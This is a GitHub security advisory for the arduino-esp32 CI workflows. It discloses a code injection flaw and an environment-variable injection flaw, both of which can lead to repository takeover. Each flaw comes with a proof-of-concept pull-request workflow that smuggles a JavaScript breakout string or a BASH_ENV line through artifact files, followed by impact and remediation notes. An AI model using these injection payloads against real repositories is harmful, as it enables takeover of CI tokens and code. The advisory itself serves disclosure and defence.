Skip to content

Multiple Poisoned Pipeline Execution (PPE) vulnerabilities

Critical
lucasssvaz published GHSA-h52q-xhg2-6jw8 Sep 17, 2024

Package

actions arduino-esp32 (GitHub Actions)

Affected versions

Started in commit 26db8cba32e77050f177e8cb0f879614c57bc5f2

Patched versions

Fixed in commit a7cec020df8f1a815bd8dfd2559f51a2216bcf1c

Description

Summary

arduino-esp32 CI is vulnerable to multiple Poisoned Pipeline Execution (PPE) vulnerabilities. This affects this repo and any other that might use these workflows.

Code injection in tests_results.yml workflow (GHSL-2024-169)

The tests_results workflow is triggered when the Wokwi tests workflows completes:

on:
  workflow_run:
    workflows: ["Wokwi tests"]
    types:
      - completed

It then downloads an artifact uploaded by the triggering workflow into the artifacts/ directory:

- name: Download and Extract Artifacts
uses: dawidd6/action-download-artifact@v6
with:
  run_id: ${{ github.event.workflow_run.id }}
  path: ./artifacts

And read the contents of the artifacts into different Environment Variables:

```yaml
- name: Get original info
run: |
  original_event=$(cat ./artifacts/parent-artifacts/event.txt)
  original_action=$(cat ./artifacts/parent-artifacts/action.txt)
  original_sha=$(cat ./artifacts/parent-artifacts/sha.txt)
  original_ref=$(cat ./artifacts/parent-artifacts/ref.txt)
  original_conclusion=$(cat ./artifacts/parent-artifacts/conclusion.txt)
  echo "original_event=$original_event" >> $GITHUB_ENV
  echo "original_action=$original_action" >> $GITHUB_ENV
  echo "original_sha=$original_sha" >> $GITHUB_ENV
  echo "original_ref=$original_ref" >> $GITHUB_ENV
  echo "original_conclusion=$original_conclusion" >> $GITHUB_ENV

Some of the attacker-controlled variables (such as the original_ref variable) are later interpolated into a JavaScript script, enabling an attacker to alter the code of the script and execute arbitrary code in the context of a high-privileged workflow:

- name: Clean up caches
if: always()
uses: actions/github-script@v7
with:
  script: |
    const ref = '${{ env.original_ref }}';
    ...

PoC

  • Clone the repository
  • Edit the tests_wokwi.yml workflow.
name: Wokwi tests

on:
  pull_request:

jobs:
  trigger:
    name: Upload artifact
    runs-on: ubuntu-latest
    steps:
      - run: |
          mkdir -p artifacts
          printf "${{ github.sha }}" > artifacts/sha.txt
          printf "pull_request" > artifacts/event.txt
          printf "success" > artifacts/conclusion.txt
          printf "" > artifacts/action.txt
          # PAYLOAD
          printf "foo'; console.log('CODE INJECTION'); //" > artifacts/ref.txt
  • Create a Pull Request with this change.
  • Since the modified workflow is triggered on pull_request, the attacker Pull Request will trigger it and upon completion will trigger the vulnerable Publish and clean test results workflow which will read the malicious artifact and use its contents to modify the JS script.

Impact

This issue may lead to a repository takeover since it will grant an attacker a GITHUB_TOKEN with the following permissions:

  Actions: write
  Checks: write
  Contents: write
  Metadata: read
  PullRequests: write
  Statuses: write

Remediation

  • Verify the contents of the downloaded artifacts.
  • Pass data into the JS script using an Environment Variable and read it from JS using process.env

Environment Variable injection (GHSL-2024-170)

In the same workflow/step, the untrusted data from an artifact is redirected to GITHUB_ENV to create a new Environment Variable:

- name: Get original info
run: |
  original_event=$(cat ./artifacts/parent-artifacts/event.txt)
  original_action=$(cat ./artifacts/parent-artifacts/action.txt)
  original_sha=$(cat ./artifacts/parent-artifacts/sha.txt)
  original_ref=$(cat ./artifacts/parent-artifacts/ref.txt)
  original_conclusion=$(cat ./artifacts/parent-artifacts/conclusion.txt)
  echo "original_event=$original_event" >> $GITHUB_ENV
  echo "original_action=$original_action" >> $GITHUB_ENV
  echo "original_sha=$original_sha" >> $GITHUB_ENV
  echo "original_ref=$original_ref" >> $GITHUB_ENV
  echo "original_conclusion=$original_conclusion" >> $GITHUB_ENV

The $GITHUB_ENV pointed file is just a regular file where every KEY=VALUE will be used to define a new Environment Variable.

An attacker can send a malicious event.txt file (or any of the other artifacts), with the following content:

pull_request
BASH_ENV=$(echo "ENV-VAR INJECTION")

Which will result in two Environment Variables being defined:

  • original_event=pull_request
  • BASH_ENV=$(echo "ENV-VAR INJECTION")

The BASH_ENV will pollute the bash environment so that next Run step will execute the code in the variable.

PoC

  • Clone the repository
  • Edit the tests_wokwi.yml workflow.
name: Wokwi tests

on:
  pull_request:

jobs:
  trigger:
    name: Upload artifact
    runs-on: ubuntu-latest
    steps:
      - run: |
          mkdir -p artifacts
          printf "${{ github.sha }}" > artifacts/sha.txt
          printf "pull_request" > artifacts/event.txt
          printf "success" > artifacts/conclusion.txt
          printf "" > artifacts/action.txt
          # PAYLOAD
          printf "pull_request\nBASH_ENV=$(echo 'ENV-VAR INJECTION')" > artifacts/ref.txt
  • Create a Pull Request with this change.
  • Since the modified workflow is triggered on pull_request, the attacker Pull Request will trigger it and upon completion will trigger the vulnerable Publish and clean test results workflow which will read the malicious artifact and use its contents to modify the JS script.

Impact

This issue may lead to a repository takeover since it will grant an attacker a GITHUB_TOKEN with the following permissions:

  Actions: write
  Checks: write
  Contents: write
  Metadata: read
  PullRequests: write
  Statuses: write

Remediation

  • Verify the contents of the downloaded artifacts.
  • Do not allow new lines in the value redirected to GITHUB_ENV

Resources

Severity

Critical

CVE ID

CVE-2024-45798

Credits